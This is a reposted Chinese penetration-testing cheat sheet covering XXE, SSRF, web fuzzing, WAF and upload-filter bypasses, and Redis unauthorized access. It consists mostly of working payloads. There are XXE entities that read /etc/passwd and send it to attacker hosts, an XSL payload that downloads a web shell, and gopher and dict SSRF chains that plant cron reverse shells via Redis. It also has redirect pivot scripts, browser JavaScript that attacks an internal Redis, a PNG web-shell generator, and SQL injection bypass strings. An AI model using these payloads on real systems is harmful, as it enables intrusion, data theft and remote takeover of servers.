Pentest_Note
This_is_Y Lv6

转载 from:https://github.com/xiaoy-sec/Pentest_Note

  • Author:小y
  • 公众号:关注安全技术
    image

Pentest_Note

转载请随意,记得加from

声明1:

依照《中华人民共和国网络安全法》等相关法规规定,任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。

声明2:

以下内容均在本地完成复现,不涉及任何非法行为,不允许使用本项目所提及的所有技术内容进行非法行为,使用技术的风险由使用者自行承担。

XML

XML设计的宗旨是传输数据,而非显示数据
XXE=XML外部实体注入、XML=可扩展标记语言
Xml文件声明
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
DTD为XML的文档类型定义
引入外部DTD
<!DOCTYPE 根元素 SYSTEM "filename">
参数实体+外部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    %file;
]>
XML注入
闭合标签,改写xml文件,用户可控,有拼接代码
<?xml version="1.0" encoding="utf-8"?>
<manager>
    <admin id="1">
<username>admin</username>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
</manager>
若是password可控,拼接代码形成注入
admin </password></admin><admin id="3"><name>hack</name><password>hacker</password></admin>
XXE
https://github.com/AonCyberLabs/xxe-recursive-download
程序解析XML输入时,未禁止外部实体的加载,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害
判断
回显路径
    <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "test">%remote;]>
DNSLOG
    http://www.dnslog.cn/
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY dtd SYSTEM "http://xxx.dnslog.cn/xxe">]>
<xxe>&dtd;</xxe>
Webdav
    存在webdav可使用PROPPATCH、PROPFIND、 LOCK等请求方法接受xml输入形成xxe
Wsdl使用AWVS测试
挖掘
如遇与xml交互的地方
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE ANY [  
<!ENTITY test "this is test"> 
]> 
<root>&test;</root>
看是否输出
检查是否支持外部实体
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE ANY [  
<!ENTITY % foo SYSTEM "http://attacker/evil.xml"> 
%foo;
]> 
查看你的服务器是否有请求
JSON content-type XXE
修改Content-Type: application/xml
X-Requested-With: XMLHttpRequest
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<参数name>name</参数name>
<参数value>&xxe;</ 参数value>
</root>
有回显读取本地文件
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:////etc/passwd"> ]> 
<creds>&goodies;</creds>
也可去掉文件列目录
file:///root/.sh/id_rsa
特殊字符
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:////tmp/xxx.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://attacker/evil.dtd"> 
%dtd; ]> 
<roottag>&all;</roottag>
evil.dtd
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">
Blind OOB XXE无回显读取
需使用参数实体,引用外部DTD
Payload
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://attacker:9999?p=%file;'>">
列目录
远程payload
<!ENTITY % a SYSTEM "file:///"> <!ENTITY % b "<!ENTITY &#37; c SYSTEM 'gopher://ip:80/%a;'>"> %b; %c;
注入payload
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://attacker:80/1.xml">%remote;]><root/>
不同平台支持的协议

image

执行命令
安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>
内网主机探测
可先读取/etc/network/interfaces、/proc/net/arp、/etc/hosts等文件查询IP段
使用脚本
内网端口扫描
<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [  
<!ELEMENT data (#PCDATA)>  
]>
<data>4</data>
可使用burpsuite的intruder模块进行遍历
内部DTD利用
Linux
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
Windows
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">

<!ENTITY % condition 'aaa)>
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
    <!ELEMENT aa (bb'>

%local_dtd;
]>
<message>any text</message>
XXE写shell
当XXE支持XSL时
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string xml()
{
    System.Net.WebClient webClient = new System.Net.WebClient();
    webClient.DownloadFile("https://x.x.x.x/shell.txt",
                   @"c:\inetpub\wwwroot\shell.aspx");

return "Exploit Success";
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml()"/>
</xsl:template>
</xsl:stylesheet>

SSRF

定义
服务端请求伪造
构造一个由服务器发出请求的漏洞
服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制
成因
file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()等函数使用不当会造成SSRF漏洞
挖掘
转码服务
在线翻译
获取超链接的标题等内容进行显示
请求远程服务器资源的地方,图片加载与下载(通过URL地址加载或下载图片)
图片、文章收藏功能
对外发起网络请求的地方,网站采集、网页抓取的地方。
头像 (远程加载头像)
一切要你输入网址的地方和可以输入ip的地方。
数据库内置功能(mongodb的copyDatabase函数)
邮件系统
文件处理
在线处理工具
从URL关键字中寻找:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain
XML
<!ENTITY % d SYSTEM "http://wuyun.org/evil.dtd">
<!ENTITY % file system "file:///etc/passwd" >
<!ENTITY % d SYSTEM "http://wuyun.org/file?data=%file">
<!DOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN" "http://wuyun.org/urlin">
<xenc:AgreementMethod Algorithm= "http://wuyun.org/1">
<xenc:EncryptionProperty Target= "http://wuyun.org/2">
<xenc:CipherReference URI= "http://wuyun.org/3">
<xenc:DataReference URI= "http://wuyun.org/4">
<Reference URI="http://wuyun.org/5">
<To xmlns="http://www.w3.org/2005/08/addressing">http://wuyun.org/to</To>
<ReplyTo xmlns="http://www.w3.org/2005/08/addressing">
<Address>http://wuyun.org/rto</Address>
<input message="wooyun" wsa:Action="http://wuyun.org/ip" />
<output message="wooyun" wsa:Action="http://wuyun.org/op" />
<wsp:PolicyReference URI=“http://wuyun.org/pr">
<fed:Federation FederationID="http://wuyun.org/fid">
<fed:FederationInclude>http://wuyun.org/inc</fed:FederationInclude>
<fed:TokenIssuerName>http://wuyun.org/iss</fed:TokenIssuerName>
<mex:MetadataReference>
<wsa:Address>http://wuyun.org/mex</wsa:Address>
</mex:MetadataReference>
<edmx:Reference URI="http://wuyun.org/edmxr">
<edmx:AnnotationsReference URI="http://wuyun.org/edmxa">
<xbrli:identifier scheme="http://wuyun.org/xbr">
<link:roleType roleURI="http://wuyun.org/role">
<stratml:Source>http://wuyun.org/stml</stratml:Source>
数据库
MongoDB
db.copyDatabase('\r\nconfig set dbfilename ssrf\r\nquit\r\n’,'test','10.6.4.166:6379')
PostgresSQL
SELECT dblink_send_query(
 'host=127.0.0.1 
dbname=quit 
user=\'\r\nconfig set dbfilename wyssrf\r\n\quit\r\n' 
password=1 port=6379 sslmode=disable', 
'select version();’ 
);
MSSQL
SELECT openrowset('SQLOLEDB', 'server=192.168.1.5;uid=sa;pwd=sa;database=master')
SELECT * FROM OpenDatasource('SQLOLEDB', 'Data Source=ServerName;User ID=sa;Password=sa' ) .Northwind.dbo.Categories
图片处理函数
FFmpeg
concat:http://wyssrf.wuyun.org/header.y4m|file:///etc/passwd
ImageMagick
fill 'url(http://wyssrf.wuyun.org)'
攻击
测试代码,需安装phpcurl模块apt-get install php7.0-curl
<?php
echo 'r u ok?';
function curl($url){  
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
对内网、本地进行端口扫描,获取服务的banner 信息
攻击运行在内网或本地的应用程序
对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)
攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)
读取内网资源(如:利用file协议读取本地文件等)
跳板
无视cdn
利用Redis未授权访问,HTTP CRLF注入实现getshell
文件读取
>curl -v 'http://192.168.0.110/ssrf.php?url=file:///etc/passwd'

image

?url=php://filter/read=convert.base64-encode/resource=./1.php
端口探测
>curl -v 'http://www.xx.com/ssrf.php?url=dict://127.0.0.1:22/'

image

>curl -v 'http://www.xx.com/ssrf.php?url=dict://127.0.0.1:6379/info'

image

SSRF+Redis
>curl -v 'http://192.168.0.112/ssrf.php?url=gopher://192.168.0.120:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.0.108%2f12345%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'

image
image

302反弹shell
?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=flushall
302.php
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>
?url=http://xxxx/reverse.php?s=dict&ip=10.20.*.*&port=6379&bhost=*.*.*.*&bport=1234
reverse.php
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$bhost = $_GET['bhost'];
$bport = $_GET['bport'];
$scheme = $_GET['s'];
header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\"");
?>
?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=config:set:dir:/var/spool/cron/
?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=config:set:dbfilename:root
?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=save
可设置burp–>intruder指定变量跑。
Mysql
https://github.com/FoolMitAh/mysql_gopher_attack
https://fireshellsecurity.team/isitdtu-friss/
Weblogic SSRF+Redis
探测
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:80
Redis反弹
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/121.36.67.230/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.0.110:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F121.36.67.230%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
SSRF+内网Struct2
http://www.xx.com/ssrf.php?url=http://10.1.1.1/action?action?redirect:http://attackerip/
Ueditor SSRF
/editor/ueditor/php/controller.php?action=catchimage&source[]=http://my.ip/?aaa=1%26logo.png
Discuz
/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo
探测存活主机
直接访问
http://www.xx.com/ssrf.php?url=http://192.168.0.1

image

伪造POST请求
>curl -v 'http://www.xx.com/ssrf.php?url=gopher://192.168.0.10:80/_POST%20/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=bbbbb'
绕过方法
本地绕过
http://127.0.0.1=http://localhost
[::]绕过
http://[::]:80=http://127.0.0.1
@绕过
http://www.xx.com/1.php?url=http://www.xx.com@127.0.0.1:8080
利用短网址
http://tool.chinaz.com/tools/dwz.aspx
http://dwz.cn/
DNS解析
http://www.qq.com.127.0.0.1.xip.io,可解析为127.0.0.1
自己域名设置A记录,指向127.0.0.1
进制转换
127.0.0.1
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433
http://www.bejson.com/convert/ip2int/
句号
127。0。0。1
302脚本
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>
攻击方VPS监听8080
dict协议
dict://www.attack.com:8080/hello:dict等于
ssrf.php?url=http://attack.com/302.php?s=dict&ip=www.attack.com&port=8080&data=hello:dict
Gopher协议
gopher:// www.attack.com:8080/gopher
ssrf.php?url=http://attack.com/302.php?s=gopher&ip=www.attack.com&port=8080&data=gopher
File协议
攻击机新建file.php
<?php
header("Location: file:///etc/passwd");
?>
ssrf.php?url=http://attack.com/file.php
gopher协议的脚本转换
抓取本地测试的正常请求
>socat -v tcp-listen:4444,fork tcp-connect:目标IP:6379

image
image

将捕获日志保存txt
使用脚本转换为支持gopher协议的字符串
转换规则
如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
将\r字符串替换成%0d%0a
空白行替换为%0a

image

本地可执行

image

远程执行需对空格进行编码后再url编码一次
*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/192.168.0.108/12138%200>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

image
image
image

协议
Curl版本需低于7.15.1
file:可回显时,使用file读取任意文件
dict:查看端口,操作内网服务
gopher:可发出get/post请求
使用gopher协议时,要进行两次url编码
http/https:探测存活主机
dict协议写shell
?url=dict://127.0.0.1:6379/set:x:<?php phpinfo();?>
?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/
?url=dict://127.0.0.1:6379/config:set:dbfilename:php.php
?url=dict://127.0.0.1:6379/save
Unicode编码
?url=dict://127.0.0.1:6379/set:x:"\x3C\x3Fphp\x20echo `$_GET[x]`\x3B\x3F\x3E"
slaveof复制shell到目标
From:http://r3start.net/index.php/2020/05/09/683
你的redis设置一个shell的键
Yourredis>FLUSHALL
Yourredis>set shell "<?php phpinfo();?>"
?url=dict://127.0.0.1:6379/slaveof:yourredisIP:6379
?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/
?url=dict://127.0.0.1:6379/config:set:dbfilename:test.php
?url=dict://127.0.0.1:6379/save
?url=dict://127.0.0.1:6379/slaveof:no:one
slaveof反弹shell
?url=dict://127.0.0.1:6379/slaveof: yourredisIP:6379
?url=dict://127.0.0.1:6379/config:set:dbfilename:exp.so
?url=dict://127.0.0.1:6379/MODULE:LOAD:./exp.so
?url=dict://127.0.0.1:6379/SLAVEOF:NO:ONE
?url=dict://127.0.0.1:6379/config:set:dbfilename:dump.rdb
?url=dict://127.0.0.1:6379/system.exec:'curl x.x.x.x/x'
?url=dict://127.0.0.1:6379/system.rev:x.x.x.x:8887

Fuzz/扫描web

#dirb http://192.168.0.1 /root/asp.txt,/root/dir.txt -a "USER-AGENT" –c "Cookie" -z 100
#nikto -C all -h http://192.168.0.107 nikto扫描web服务
#wpscan --url http://192.168.0.107/ -e u --wordlist /root/wordlist.txt 枚举用户爆破密码
#wpscan --url http://192.168.0.107/ -e vp 扫描漏洞插件
#perl joomscan.pl --url 192.168.0.107
WFuzz
爆破文件和文件夹
>wfuzz -w wordlist URL/FUZZ.php
>wfuzz -w wordlist URL/FUZZ
枚举数字参数
>wfuzz -z range,000-999 -b session=session -b cookie=cookie http://127.0.0.1/getuser.php?uid=FUZZ
POST账号密码爆破FUZnZ
>wfuzz -w userList -w pwdList -d "username=FUZZ&password=FUZ2Z" http://127.0.0.1/login.php
随机HTTP头
>wfuzz -z range,0000-9999 -H "X-Forwarded-For: FUZZ" http://127.0.0.1/get.php?userid=666
使用代理fuzz
>wfuzz -w wordlist -p 127.0.0.1:1087:SOCKS5 URL/FUZZ
基础认证爆破
>wfuzz -z list,"username-password" --basic FUZZ:FUZZ URL
【结果过滤】--hc或--ss不显示符合条件的结果。
【结果过滤】--sc或--sl或--sw或--sh显示符合条件的结果。
Cewl
爬行网站存为字典
>cewl http://www.qq.com/ -w dict.txt
指定字典长度
>cewl http://www.qq.com/ -m 9 -w dict.txt
网站提取Email
>cewl http://www.qq.com/ -n –e
Dirsearch
>python3 dirsearch.py --random-user-agents --recursive --thread 50 --extension php --plain-text-report report.txt –url http://127.0.0.1

Bypass WAF

SQL注入分块传输
https://github.com/c0ny1/chunked-coding-converter

image
image

跑注入点被拦截

image

使用分块传输,右键选择

image
image

使用SQLMAP跑注入

image
image

>python sqlmap.py -r 1.txt --batch --proxy=http://127.0.0.1:8080 --dbs

image

自动提供可用的tamper
https://github.com/m4ll0k/Atlas
GET类型的注入
python atlas.py --url http://site.com/index/id/%%10%% --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v
POST类型的注入
python atlas.py --url http://site.com/index/id/ -m POST -D 'test=%%10%%' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v
请求头注入
python atlas.py --url http://site.com/index/id/ -H 'User-Agent: mozilla/5.0%%inject%%' -H 'X-header: test' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v
组合tamper
python atlas.py --url http://site.com/index/id/%%10%% --payload="-1234 AND 4321=4321-- AAAA" --concat "equaltolike,htmlencode" --random-agent -v
列出tamper
python atlas.py -g
例子
注入
python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3

image

可以看到被拦截了
查找能绕过的tamper
python atlas.py --url 'http://site.com/index.php?id=Price_ASC' --payload="') AND 8716=4837 AND ('yajr'='yajr" --random-agent -v

image

根据返回码200得到一个可绕过waf的tamper
versionedkeywords这个tamper
继续注入
python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3 --tamper=versionedkeywords
根据状态码来判断有时会有点鸡肋,但是也能用用,随机发挥吧。
垃圾数据
#coding=utf-8
import random,string
from urllib import parse
# code by yzddMr6
varname_min = 5
varname_max = 15
data_min = 20
data_max = 25
num_min = 50
num_max = 100
def randstr(length):
    str_list = [random.choice(string.ascii_letters) for i in range(length)]
    random_str = ''.join(str_list)
    return random_str
def main():
    data={}
    for i in range(num_min,num_max):
        data[randstr(random.randint(varname_min,varname_max))]=randstr(random.randint(data_min,data_max))
    print('&'+parse.urlencode(data)+'&')
main()
放到要注入的字段前后
上传bypass
图片文件头
PNG 的文件头为十六进制的 89 50 4E 47 0D 0A 1A 0A
GIF 为 47 49 46 38 37 61
JPG 为 FF D8 FF E0
添加图片头或合并图片包含
后缀大小写
文件名前缀加[0x09]
上传.htaccess
SetHandler application/x-httpd-php
二次渲染
GIF
找好一个大一点的GIF,尾部使用c32插入shell,上传,下载回来,使用burp的comparer功能找出整个文件没有被渲染的位置,插入shell再上传
JPG
使用脚本直接生成
https://github.com/BlackFan/jpg_payload
PNG
使用脚本直接生成
先取消php.ini注释;extension=php_gd2.dll
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
       0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
       0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
       0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
       0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
       0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
       0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
       0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
上传php3,php4,phtml等
文件名后加::$DATA
ConTent-Disposition: form-data; name="filepath"; filename="1.asp::$DATA"
ConTent-Disposition: form-data; name="filepath"; filename="1.asp::$DATA\0x00\1.asp0x00.jpg"
asp . (空格+.)
php. .(点+空格+点)
双写phphpp
00截断
Get参数00截断直接添加%00
POST参数00截断修改hex为00
修改一些固定的参数
文件名去掉双引号
加一个filename1的参数
form变量改成f+orm
去掉form-data
在Content-Disposition或form-data;后添加多个空格
引号回车
ConTent-Disposition: form-data; name="filepath"; filename="backlion.asp
"
Content-Type和ConTent-Disposition调换位置
文件名前缀加空格
filename=    "1.asp"
name前加空格
Content-Disposition: form-data;      name="uploaded"; filename="1.asp"
form-data的前后加上+
Content-Disposition: +form-data; name="filepath"; filename="1.asp"
ASP+IIS
s%elect>select
s%u0065lect>select  
s%u00f0lect>select
s%u0045lect = s%u0065lect = %u00f0lect
u -->%u0055 --> %u0075
n -->%u004e --> %u006e
i -->%u0049 --> %u0069
o -->%u004f --> %u006f -->%u00ba
s -->%u0053 --> %u0073
l -->%u004c --> %u006c
e -->%u0045 --> %u0065-->%u00f0
c -->%u0043 --> %u0063
t -->%u0054 -->%u0074 -->%u00de -->%u00fe
f -->%u0046 -->%u0066
r -->%u0052 -->%u0072
m -->%u004d -->%u006d
Asp+iis&aspx+iis
s%u006c%u0006ect>select
apache
TEST /sql.php?id=1 HTTP/1.1
大小写/关键字
UniOn SeLECT
Mid()substring()  substr()
Hex()ascii()
sleep() =benchmark()
concat_ws()=group_concat()
双重url编码
变换请求方式
HPP参数污染
id=1&id=2&id=3
得到的结果:Asp.net + iis:id=1,2,3 
Asp+iis:id=1,2,3 
Php+apache:id=3
MSSQL:
GET+POST: 
GET:http://192.168.125.140/test/sql.aspx?id=1 union/*
post:  id=2*/select null,null,null
无逗号形式:
?id=1 union select 1&id=2&id=3&id=4 from admin--()  
利用逗号:
?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
无效参数形式:
?a=/*&sql=xxx&b=*/  a,b为无效参数
溢出形式:?id=1/*&id=*//*&id=*//*......&id=*//*&id=*/ union  select null,system_user,null from INFORMATION_SCHEMA.schemata
MYSQL:
?id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=….. &id=1 union select 1,2 from admin
数据库
Access
空格符
%09、%0a、%0c、%0d、%16
Mysql
注释符
#、/*...*/、--[空格] ...
空格符
[0x09,0x0a-0x0d,0x20,0xa0]
特殊符号
%a 换行符,可结合注释符使用%23%0a,%2d%2d%0a。
%21  ! 叹号
%2b  +  加号
%2d  -  减号
%40  @  符号
%7e   ~  波浪号
Id=1 union select(1),user()
Id=1 union /!12345select/1,user()
Id=1 union select@1,user()
Id=1 union select {x 1},user()
Id=1 union select"1",user()
Id=1 union select\N,user()
Id=1 union select 1,user()`
Id=1 union select 1,user()""
Id=1 union select 1,user()A
Id=1 union select 1,user()`b
Id=1 union(select 1,(select/!schema_name/from information_schema.SCHEMATA limit 1,1))
Id=1 union(select 1,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))
Id=1 union(select 1,(select(schema_name)from information_schema.SCHEMATA limit 1,1))
浮点数
Id= 1.0union select 1,user()
Id= 1.union select 1,user()
Id= 1E0union select 1,user()
Id=\Nunion select 1,user()
Id=1 unionselect user(),2.0from admin
Id=1 union select user(),8e0from admin
Id=1 union select user(),\Nfrom admin
内联注释
/*!UnIon12345SelEcT*/ 1,user()   //数字范围 1000-50540
mysql黑魔法
select{x username}from {x11 test.admin};
函数
截取
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)) 
连接
concat(version(),'|',user());
concat_ws('|',1,2,3)
字符转换
Ascii() Char() Hex() Unhex()
过滤逗号
127' UNION SELECT * FROM ((SELECT1)a JOIN (SELECT2)b JOIN (SELECT3)c JOIN (SELECT4)d JOIN (SELECT5)e)# 
相当于 union select 1,2,3,4,5
union select * from (select 1)a join(select{x schema_name} from information_schema.SCHEMATA limit 1,1)b
limit 1 offset 0相当于limit 1,0
mid(version() from 1 for 1)相当于Mid(version(),1,1)
<>被过滤
id=1 and ascii(substr(database(),0,1))>64
比较符
greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值
id=1 and greatest(ascii(substr(database(),0,1)),64)=64
函数构造
sleep(5)/benchmark(10000000,SHA1(1))
id=1 xor sleep%23%0a(5)
id=1 xor sleep%2d%2d%0a(5)
id=1 xor sleep([%20]5) 
id=1 xor benchmark%0a(10000000,SHA1(1))
id=1 xor sleep[空白字符](5)
select{x[可填充字符]1}
MSSQL
注释符
/*、--、;00%、/**/
空格符
[0x01-0x20][0x0a-0x0f][0x1a-0x-1f]
特殊符号
%3a 冒号
id=1 union:select 1,2 from:admin
id=1 union select+1,'2',db_name() from admin
id=1 union select-1,'2',db_name() from admin
id=1 union select.1,'2',db_name() from admin
id=1 union select:1,'2',db_name() from admin
id=1 union select~1,'2',db_name() from admin
id=1%20union%20select%201,'2',db_name()%80from%20admin
id=1 union select 1,'2',db_name+() from admin
函数变形: db_name[空白字符]()
浮点数
id=1.1union select 1,'2',db_name()
id=1e0union select 1,'2',db_name()
运算符
id=1-1union select '1',system_user,3 from admin
id=1e-union select '1',system_user,3 from admin
字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
charindex('test',db_name())
字符串转换函数
Ascii('a')=char(97) 括号之间可添加空格
WAF
同时提交GET和POST
访问HTTP绕过对HTTPS的防护
%00截断
参数填充垃圾数据,缓冲区溢出
X-FORWARDED-FOR伪造绕过
静态文件/sql.php/1.js?id=1绕过
白名单绕过,URL只要存在某字符就不会拦截
/sql.php/admin.php?id=1
/sql.php?a=/manage/&b=../etc/passwd
/../../../manage/../sql.asp?id=2
伪造User-agent绕过,可改为爬虫agent

未授权访问

Redis未授权访问
测试
>redis-cli -h 127.0.0.1 flunshall 
192.168.0.110:6379>ping
PONG 存在未授权访问
JS打内网
var cmd = new XMLHttpRequest();      
cmd.open("POST", "http://127.0.0.1:6379");      
cmd.send('flushall\r\n');             
var cmd =new XMLHttpRequest();      
cmd.open("POST", "http://127.0.0.1:6379");      
cmd.send('eval \'' + 'redis.call(\"set\",\"1\",\"\\n\\n*/1 * * * * /bin/bash -i >&/dev/tcp/外网IP/5566 0>&1\\n\\n");redis.call(\"config\", \"set\", \"dir\",\"/var/spool/cron/\"); redis.call(\"config\",\"set\", \"dbfilename\", \"root\");' + '\' 0' +"\r\n");       
var cmd =new XMLHttpRequest();      
cmd.open("POST", "http://127.0.0.1:6379");       
cmd.send('save\r\n');
反弹shell
保存为sh
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.0.108/12138 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1
